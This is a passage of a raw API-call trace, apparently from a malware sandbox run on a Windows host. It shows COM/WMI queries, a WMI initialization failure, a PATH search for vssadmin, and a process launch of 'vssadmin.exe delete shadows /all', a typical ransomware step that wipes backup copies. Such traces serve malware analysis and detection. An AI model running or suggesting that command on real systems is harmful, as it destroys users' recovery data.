[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893e170 | out: ppvObject=0x893e170*=0x31f0dac) returned 0x0 [0126.304] IClientSecurity:SetBlanket (This=0x31f0dac, pProxy=0x31f0da8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.407] IUnknown:Release (This=0x31f0dac) returned 0x2 [0126.407] WbemLocator:IUnknown:Release (This=0x780a65c) returned 0x1 [0126.407] CoTaskMemFree (pv=0x797ffb0) [0126.407] IUnknown:AddRef (This=0x31f0da8) returned 0x2 [0126.407] CoGetContextToken (in: pToken=0x893d6a8 | out: pToken=0x893d6a8) returned 0x0 [0126.407] IUnknown:QueryInterface (in: This=0x319ecf0, riid=0x72e35e8c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893d664 | out: ppvObject=0x893d664*=0x319ecfc) returned 0x0 [0126.407] IComThreadingInfo:GetCurrentApartmentType (in: This=0x319ecfc, pAptType=0x893d694 | out: pAptType=0x893d694*=3) returned 0x0 [0126.407] IUnknown:Release (This=0x319ecfc) returned 0x0 [0126.407] CoGetObjectContext (in: riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x31c9ee4 | out: ppv=0x31c9ee4*=0x319ecf0) returned 0x0 [0126.408] CoGetContextToken (in: pToken=0x893dab0 | out: pToken=0x893dab0) returned 0x0 [0126.408] IUnknown:QueryInterface (in: This=0x31f0da8, riid=0x72e502b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893da48 | out: ppvObject=0x893da48*=0x780a640) returned 0x0 [0126.408] WbemLocator:IRpcOptions:Query (in: This=0x780a640, pPrx=0x31c9ec8, dwProperty=2, pdwValue=0x893db48 | out: pdwValue=0x893db48) returned 0x80004002 [0126.408] WbemLocator:IUnknown:Release (This=0x780a640) returned 0x2 [0126.408] CoGetContextToken (in: pToken=0x893e090 | out: pToken=0x893e090) returned 0x0 [0126.408] CoGetContextToken (in: pToken=0x893dff0 | out: pToken=0x893dff0) returned 0x0 [0126.408] IUnknown:QueryInterface (in: This=0x31f0da8, riid=0x893e0c0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x893df88 | out: ppvObject=0x893df88*=0x31f0da8) returned 0x0 [0126.408] IUnknown:Release (This=0x31f0da8) returned 0x2 [0126.408] WbemLocator:IUnknown:Release (This=0x7742fc0) returned 0x0 [0126.408] SysStringLen (param_1=0x0) returned 0x0 [0126.408] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x314d2c0, puCount=0x893e380 | out: puCount=0x893e380*=0x2) returned 0x0 [0126.408] WbemDefPath:IWbemPath:GetText (in: This=0x314d2c0, lFlags=4, puBuffLength=0x893e37c*=0x0, pszText=0x0 | out: puBuffLength=0x893e37c*=0x17, pszText=0x0) returned 0x0 [0126.408] WbemDefPath:IWbemPath:GetText (in: This=0x314d2c0, lFlags=4, puBuffLength=0x893e37c*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x893e37c*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0126.409] CoGetContextToken (in: pToken=0x893e1d0 | out: pToken=0x893e1d0) returned 0x0 [0126.409] IEnumWbemClassObject:Clone (in: This=0x31f0da8, ppEnum=0x893e38c | out: ppEnum=0x893e38c*=0x31f0f38) returned 0x0 [0126.621] IUnknown:QueryInterface (in: This=0x31f0f38, riid=0x6c1a352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893e248 | out: ppvObject=0x893e248*=0x31f0f3c) returned 0x0 [0126.621] IClientSecurity:QueryBlanket (in: This=0x31f0f3c, pProxy=0x31f0f38, pAuthnSvc=0x893e298, pAuthzSvc=0x893e294, pServerPrincName=0x893e28c, pAuthnLevel=0x893e290, pImpLevel=0x893e280, pAuthInfo=0x893e284, pCapabilites=0x893e288 | out: pAuthnSvc=0x893e298*=0xa, pAuthzSvc=0x893e294*=0x0, pServerPrincName=0x893e28c, pAuthnLevel=0x893e290*=0x6, pImpLevel=0x893e280*=0x2, pAuthInfo=0x893e284, pCapabilites=0x893e288*=0x1) returned 0x0 [0126.621] IUnknown:Release (This=0x31f0f3c) returned 0x1 [0126.621] IUnknown:QueryInterface (in: This=0x31f0f38, riid=0x6c1a351c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893e23c | out: ppvObject=0x893e23c*=0x780ac5c) returned 0x0 [0126.621] IUnknown:QueryInterface (in: This=0x31f0f38, riid=0x6c1a352c*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893e228 | out: ppvObject=0x893e228*=0x31f0f3c) returned 0x0 [0126.621] IClientSecurity:SetBlanket (This=0x31f0f3c, pProxy=0x31f0f38, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.797] IUnknown:Release (This=0x31f0f3c) returned 0x2 [0126.797] WbemLocator:IUnknown:Release (This=0x780ac5c) returned 0x1 [0126.797] CoTaskMemFree (pv=0x797ff20) [0126.797] IUnknown:AddRef (This=0x31f0f38) returned 0x2 [0126.798] CoGetContextToken (in: pToken=0x893d750 | out: pToken=0x893d750) returned 0x0 [0126.798] CoGetContextToken (in: pToken=0x893db58 | out: pToken=0x893db58) returned 0x0 [0126.798] IUnknown:QueryInterface (in: This=0x31f0f38, riid=0x72e502b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893daf0 | out: ppvObject=0x893daf0*=0x780ac40) returned 0x0 [0126.798] WbemLocator:IRpcOptions:Query (in: This=0x780ac40, pPrx=0x31c9e68, dwProperty=2, pdwValue=0x893dbf0 | out: pdwValue=0x893dbf0) returned 0x80004002 [0126.798] WbemLocator:IUnknown:Release (This=0x780ac40) returned 0x2 [0126.798] CoGetContextToken (in: pToken=0x893e138 | out: pToken=0x893e138) returned 0x0 [0126.798] CoGetContextToken (in: pToken=0x893e098 | out: pToken=0x893e098) returned 0x0 [0126.798] IUnknown:QueryInterface (in: This=0x31f0f38, riid=0x893e168*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x893e030 | out: ppvObject=0x893e030*=0x31f0f38) returned 0x0 [0126.799] IUnknown:Release (This=0x31f0f38) returned 0x2 [0126.799] SysStringLen (param_1=0x0) returned 0x0 [0126.799] IEnumWbemClassObject:Reset (This=0x31f0f38) returned 0x0 [0126.911] CoTaskMemAlloc (cb=0x4) returned 0x79fdf90 [0126.911] IEnumWbemClassObject:Next (in: This=0x31f0f38, lTimeout=-1, uCount=0x1, apObjects=0x79fdf90, puReturned=0x56bf520 | out: apObjects=0x79fdf90*=0x0, puReturned=0x56bf520*=0x0) returned 0x80041014 [0127.688] CoTaskMemFree (pv=0x79fdf90) [0127.688] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x893e368 | out: pperrinfo=0x893e368*=0x79edde4) returned 0x0 [0127.688] IUnknown:QueryInterface (in: This=0x79edde4, riid=0x6c1a32c8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893e364 | out: ppvObject=0x893e364*=0x79edddc) returned 0x0 [0127.688] IMarshal:GetUnmarshalClass (in: This=0x79edddc, riid=0x6c1a3338*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x893e36c | out: pCid=0x893e36c*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0127.688] IUnknown:Release (This=0x79edddc) returned 0x1 [0127.689] IUnknown:QueryInterface (in: This=0x79edde4, riid=0x56bf59c*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x893e3bc | out: ppvObject=0x893e3bc*=0x79eddd8) returned 0x0 [0127.690] IUnknown:Release (This=0x79edde4) returned 0x1 [0127.690] IIDFromString (in: lpsz="{EB87E1BD-3233-11D2-AEC9-00C04FB68820}", lpiid=0x893e2ac | out: lpiid=0x893e2ac) returned 0x0 [0127.691] CoGetClassObject (in: rclsid=0x798004c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x72e5b24c*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x893dfb8 | out: ppv=0x893dfb8*=0x79fe020) returned 0x0 [0127.694] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x79fe020, riid=0x72ea9e44*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x893e1d4 | out: ppvObject=0x893e1d4*=0x0) returned 0x80004002 [0127.694] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x79fe020, pUnkOuter=0x0, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893e1e0 | out: ppvObject=0x893e1e0*=0x79fdfd0) returned 0x0 [0127.694] WbemStatusCodeText:IUnknown:Release (This=0x79fe020) returned 0x0 [0127.694] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x79fdfd0, riid=0x72e23e5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893de04 | out: ppvObject=0x893de04*=0x79fdfd0) returned 0x0 [0127.694] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x79fdfd0, riid=0x72e50328*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x893ddc0 | out: ppvObject=0x893ddc0*=0x0) returned 0x80004002 [0127.694] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x79fdfd0, riid=0x72e50490*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x893d9b4 | out: ppvObject=0x893d9b4*=0x0) returned 0x80004002 [0127.694] WbemStatusCodeText:IUnknown:AddRef (This=0x79fdfd0) returned 0x3 [0127.694] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x79fdfd0, riid=0x72e50074*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x893d714 | out: ppvObject=0x893d714*=0x0) returned 0x80004002 [0127.694] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x79fdfd0, riid=0x72e4ffc8*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x893d6c4 | out: ppvObject=0x893d6c4*=0x0) returned 0x80004002 [0127.694] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x79fdfd0, riid=0x72d97604*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893d6d0 | out: ppvObject=0x893d6d0*=0x0) returned 0x80004002 [0127.694] CoGetContextToken (in: pToken=0x893d730 | out: pToken=0x893d730) returned 0x0 [0127.695] CoGetContextToken (in: pToken=0x893db38 | out: pToken=0x893db38) returned 0x0 [0127.695] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x79fdfd0, riid=0x72e502b4*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x893dbc4 | out: ppvObject=0x893dbc4*=0x0) returned 0x80004002 [0127.695] WbemStatusCodeText:IUnknown:Release (This=0x79fdfd0) returned 0x2 [0127.695] WbemStatusCodeText:IUnknown:Release (This=0x79fdfd0) returned 0x1 [0127.695] CoGetContextToken (in: pToken=0x893e1c0 | out: pToken=0x893e1c0) returned 0x0 [0127.695] CoGetContextToken (in: pToken=0x893e120 | out: pToken=0x893e120) returned 0x0 [0127.695] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x79fdfd0, riid=0x893e1f0*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x893e1ec | out: ppvObject=0x893e1ec*=0x79fdfd0) returned 0x0 [0127.695] WbemStatusCodeText:IUnknown:AddRef (This=0x79fdfd0) returned 0x3 [0127.695] WbemStatusCodeText:IUnknown:Release (This=0x79fdfd0) returned 0x2 [0127.695] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x79fdfd0, hRes=0x80041014, LocaleId=0x0, lFlags=1, MessageText=0x893e35c | out: MessageText=0x893e35c*="Initialization failure ") returned 0x0 [0127.698] SysStringByteLen (bstr="Initialization failure ") returned 0x2e [0127.704] CoGetContextToken (in: pToken=0x893ccc8 | out: pToken=0x893ccc8) returned 0x0 [0127.704] IUnknown:Release (This=0x31f0f38) returned 0x1 [0127.704] IUnknown:Release (This=0x31f0f38) returned 0x0 [0127.722] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e64c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e64c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x86, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0127.722] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893e6ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x85, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893e6ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x85, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0127.723] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e64c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e64c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x85, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0127.723] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893e6ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x86, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893e6ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x86, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0127.723] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893e350, nSize=0xc3 | out: lpBuffer="က滸က滸") returned 0x0 [0127.723] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x893e26c, nSize=0xc3 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0127.723] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x893e258, nSize=0xc3 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0127.723] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x315e1c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0127.723] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x893e260, nSize=0xc3 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0127.723] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0127.723] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0127.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893e3a8) returned 1 [0127.724] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x893e424 | out: lpFileInformation=0x893e424*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0127.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893e3a4) returned 1 [0127.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893e424) returned 1 [0127.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0127.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0127.724] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", lpFindFileData=0x893e14c | out: lpFindFileData=0x893e14c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0127.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893e3c4) returned 1 [0127.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893e3d0) returned 1 [0127.724] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0127.724] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0127.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893e3a8) returned 1 [0127.724] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x893e424 | out: lpFileInformation=0x893e424*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec28c54, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xebb5ab66, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xebb5ab66, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0127.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893e3a4) returned 1 [0127.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x893e424) returned 1 [0127.724] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0127.725] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0127.725] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", lpFindFileData=0x893e14c | out: lpFindFileData=0x893e14c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b6c03f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6b6c03f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6b6c03f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="vssadmin.exe", cAlternateFileName="")) returned 0x79fb458 [0127.726] FindNextFileW (in: hFindFile=0x79fb458, lpFindFileData=0x893e13c | out: lpFindFileData=0x893e13c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0127.726] FindClose (in: hFindFile=0x79fb458 | out: hFindFile=0x79fb458) returned 1 [0127.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893e3c4) returned 1 [0127.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x893e3d0) returned 1 [0127.730] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\vssadmin.exe" (normalized: "c:\\windows\\system32\\vssadmin.exe")) returned 0x20 [0127.733] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x893e6bc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e6bc*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xb7, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0127.733] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e628*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x86, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0127.733] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893e6ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xb7, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893e6ac*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xb7, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0127.735] SHGetFileInfoW (in: pszPath="C:\\WINDOWS\\system32\\vssadmin.exe", dwFileAttributes=0x0, psfi=0x893e204, cbFileInfo=0x2b4, uFlags=0x2000 | out: psfi=0x893e204) returned 0x4550 [0127.748] GetConsoleWindow () returned 0x602b6 [0127.769] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x893dfc0, nSize=0xc3 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0127.777] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\WINDOWS\\system32\\vssadmin.exe\" delete shadows /all", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x893e30c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x56c68d4 | out: lpCommandLine="\"C:\\WINDOWS\\system32\\vssadmin.exe\" delete shadows /all", lpProcessInformation=0x56c68d4*(hProcess=0x9c4, hThread=0x9c8, dwProcessId=0xd54, dwThreadId=0xcfc)) returned 1 [0127.924] CloseHandle (hObject=0x9c8) returned 1 [0127.924] SHGetFileInfoW (in: pszPath="C:\\WINDOWS\\system32\\vssadmin.exe", dwFileAttributes=0x0, psfi=0x893e240, cbFileInfo=0x2b4, uFlags=0x2000 | out: psfi=0x893e240) returned 0x4550 [0127.925] GetCurrentProcess () returned 0xffffffff [0127.925] GetCurrentProcess () returned 0xffffffff [0127.925] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x9c4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x893e4c4, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x893e4c4*=0x9c8) returned 1 [0127.926] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x893e4bc*=0x9c8, 